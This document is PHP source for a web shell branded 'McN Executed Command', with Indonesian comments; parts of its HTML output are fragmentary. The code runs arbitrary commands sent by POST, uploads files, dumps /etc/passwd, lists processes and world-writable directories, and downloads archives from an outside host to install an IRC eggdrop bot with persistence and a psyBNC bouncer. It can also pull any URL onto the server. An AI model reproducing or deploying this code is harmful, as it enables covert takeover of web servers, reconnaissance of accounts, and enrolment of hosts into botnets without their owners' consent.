McN Executed Command
ON"; }
else { return "OFF"; }
}
function Perl() {
if(test('perl -h')) { return mode("on"); }
else { return mode("off"); }
}
function Fetch() {
if(test('fetch --help')) { return mode("on"); }
else { return mode("off"); }
}
function Wget() {
if(test('wget --help')) { return mode("on"); }
else { return mode("off"); }
}
function Curl() {
if(function_exists('curl_version')) { return mode("on"); }
else { return mode("off"); }
}
function Load() {
if(function_exists('lwp-downlod')) { return mode("on"); }
else { return mode("off"); }
}
function Sql() {
if(function_exists('mysql_connect')) { return mode("on"); }
else { return mode("off"); }
}
function tampildisfunc() {
if($disfunc=@ini_get("disable_functions")){ return "".$disfunc.""; }
else { return "Tidak ada!"; }
}
if(safemode()) { $dsafe = "SAFE MODE is ON |
"; }
else { $dsafe = "SAFE MODE is OFF |
"; }
echo "$dsafe".
"UNAME: ".info(php_uname())." |
".
"HTTPD: ".info(getenv("SERVER_SOFTWARE"))." |
".
"USER ID: ".info(mcn("id"))." |
".
"HOST IP: ".info(gethostbyname($_SERVER["HTTP_HOST"]))." |
".
"IP KAMU: ".info($_SERVER["REMOTE_ADDR"])." |
".
"SQL: ".Sql()." LOAD: ".Load()." CURL: ".Curl()." WGET: ".Wget()." FETCH: ".Fetch()." PERL: ".Perl()." | ";
echo "DISFUNGSI: ".tampildisfunc()." | ";
if(isset($_POST['posisi'])) {
$DIR = $_POST['posisi'];
if(!@chdir($DIR)) { echo "Gagal membaca: $DIR ? "; }
}
else { $DIR = getcwd(); }
echo "POSISI: $DIR : ";
if(is_writable($DIR)) { echo "Ya! | "; } else { echo "Tidak! |
"; }
?>
\">";
echo "
";
echo "
";
if(!safemode()){
echo "
"; }
echo "
";
}
echo "";
if($_POST['perintah'] == "UPLOAD") {
if($_FILES['sodomi']['error'] != UPLOAD_ERR_OK) {
echo "File ga mau disodomi! ";
} else {
copy($_FILES['sodomi']['tmp_name'],$DIR."/".$_FILES['sodomi']['name']);
echo "File berhasil disodomi! "; }
}
if($_POST['cmd']) {
$cmdx = $_POST['cmd'];
$hasil = mcn($cmdx);
$cmdx = str_replace("\\\"","\"",$cmdx);
$cmdx = str_replace("\\\'","\'",$cmdx);
echo $hasil;
}
#####################
## CREATED BY CUEX ##
#####################
if($_POST['run'] == "ENTER") { //lek kok ganti filemu dewe koe yo kudu ganti perintahe!
$myurl = 'http://www.pttc.ac.th/FkeFiles/';
$mydir = $DIR.DIRECTORY_SEPARATOR;
$eggfile = 'mcn.tar.gz';
$psyfile = 'cuex.tgz';
if($_POST[pilih]==1) {
$host = gethostbyname($_SERVER['HTTP_HOST']);
$eggurl = $myurl.$eggfile;
$botnick = $_POST['botnick'];
$channel = $_POST['channel'];
$owner = $_POST['owner'];
$lihatcfg = FALSE;
$eggmcn = array($mydir, $eggfile);
$eggmcn = implode("", $eggmcn);
if(file_exists($eggmcn)) {
$eggmcn = array($mydir, $eggfile);
$eggmcn = implode("", $eggmcn);
}
if(!copy($eggurl, $eggmcn)) {
echo 'Gagal download url bot. Coba upload dan buat manual aja!'; }
elseif(test('tar --help')) {
mcn('tar -zxf '.$eggfile);
echo mcn('cd '.$mydir.'mcn;./mcn '.$botnick.' '.$botnick.' '.$owner.' '.$host.' '.$channel.' '.$owner);
echo mcn('cd '.$botnick.'mcn;./dssl '.$botnick.';cd '.$mydir.'mcn/scripts;./autobotchk '.$botnick.' -noemail -5');
mcn('rm -rf '.$eggfile.'*');
if($lihatcfg){
echo 'Konfigurasi '.$botnick.' sebagai berikut:';
echo mcn('cat '.$mydir.'mcn'.DIRECTORY_SEPARATOR.$botnick);
echo 'TCL pada directory scripts';
echo mcn('ls '.$mydir.'mcn'.DIRECTORY_SEPARATOR.'scripts');
}
echo 'URL bot dari: '.$eggurl.'!';
}
else {
echo 'Error: eggdrop gagal di buat!';
}
}
elseif($_POST[pilih]==2) {
$portpsy= $_POST['portpsy'];
$psyurl = $myurl.$psyfile;
$psybnc = array($mydir, $psyfile);
$psybnc = implode("", $psybnc);
if(file_exists($psybnc)) {
$psybnc = array($mydir, $psyfile);
$psybnc = implode("", $psybnc);
}
if(!copy($psyurl, $psybnc)) {
echo 'Error: url psybnc gagal di download! Coba upload dan buat manual aja!';
}
else {
mcn('tar -zxf '.$psyfile);
echo mcn('cd '.$mydir.'cuex'.DIRECTORY_SEPARATOR.';./config '.$portpsy.';./fuck;./run');
mcn('rm -rf '.$psyfile.'*');
}
}
else {
echo 'Yang bener donk achh! ';
}
}
#####################
## CREATED BY KATE ##
#####################
if($_POST['perintah'] == "ETC PASS") {
$cmdx = "cat /etc/passwd";
$hasil = mcn($cmdx);
$cmdx = str_replace("\\\"","\"",$cmdx);
$cmdx = str_replace("\\\'","\'",$cmdx);
echo $hasil;
}
if($_POST['perintah'] == "IP SERVER") {
$cmdx = "/sbin/ifconfig";
$hasil = mcn($cmdx);
$cmdx = str_replace("\\\"","\"",$cmdx);
$cmdx = str_replace("\\\'","\'",$cmdx);
echo $hasil;
}
if($_POST['perintah'] == "PROSES") {
$cmdx = "ps -x";
$hasil = mcn($cmdx);
$cmdx = str_replace("\\\"","\"",$cmdx);
$cmdx = str_replace("\\\'","\'",$cmdx);
echo $hasil;
}
if($_POST['perintah'] == "PERMISI DIR") {
$cmdx = "find ".$DIR." -type d -perm 777";
$hasil = mcn($cmdx);
$cmdx = str_replace("\\\"","\"",$cmdx);
$cmdx = str_replace("\\\'","\'",$cmdx);
echo $hasil;
}
if($_POST['load'] == "ENTER") {
$file = $_POST['file'];
$x = $_POST['mbod'];
if($_POST['otherdest']) { $simpen = $_GET['otherdest']; }
else { $simpen = $DIR.DIRECTORY_SEPARATOR; }
$copy = array($simpen, $x);
$copy = implode("", $copy);
if(file_exists($copy)) {$copy = array($simpen, $x);
$copy = implode("", $copy);}
echo "Load ke: $copy!
";
if(!copy($file, $copy)) { echo "Error: Lihat url/dir nya dulu dodool!
"; }
else { echo "Load url berhasil disimpan cuk!"; }
}
echo "
© Powered by McN Team
";
#####################
## CREATED BY KATE ##
#####################
?>
".$txt.""; }
function safemode() {
if( @ini_get("safe_mode") OR eregi("on",@ini_get("safe_mode")) ) { return TRUE; }
else { return FALSE; }
}
function getdisfunc() {
$disfunc = @ini_get("disable_functions");
if(!empty($disfunc)) {
$disfunc = str_replace(" ","",$disfunc);
$disfunc = explode(",",$disfunc);
}
else { $disfunc= array(); }
return $disfunc;
}
function enabled($func) {
if( is_callable($func) && !in_array($func,getdisfunc()) ) { return TRUE; }
else { return FALSE; }
}
function mcn($cmd) {
$output = "";
if( enabled("popen") ) {
$h = popen($cmd.' 2>&1', 'r');
if( is_resource($h) ) {
while ( !feof($h) ) { $output .= fread($h, 2096); }
pclose($h);
}
}
elseif( enabled("passthru") ) { @ob_start(); passthru($cmd); $output = @ob_get_contents(); @ob_end_clean(); }
elseif( enabled("shell_exec") ) { $output = shell_exec($cmd); }
elseif( enabled("exec") ) { exec($cmd,$o); $output = join("\r\n",$o); }
elseif( enabled("system") ) { @ob_start(); system($cmd); $output = @ob_get_contents(); @ob_end_clean(); }
else { $output = "NULL"; }
return $output;
}
function test($com){
$hasil = '';
if(!empty($com)) {
if(function_exists('exec')) {
@exec($com,$hasil);
$hasil = join("\n",$hasil);
} elseif(function_exists('shell_exec')) {
$hasil = @shell_exec($com);
} elseif(function_exists('system')) {
@ob_start();
@system($com);
$hasil = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($com);
$hasil = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($com,"r"))) {
$hasil = "";
while(!@feof($f)) { $hasil .= @fread($f,1024); }
@pclose($f);
} else { $hasil = "Ex() Disabled!"; }
}
return $hasil;
}
#####################
## CREATED BY KATE ##
#####################
exit;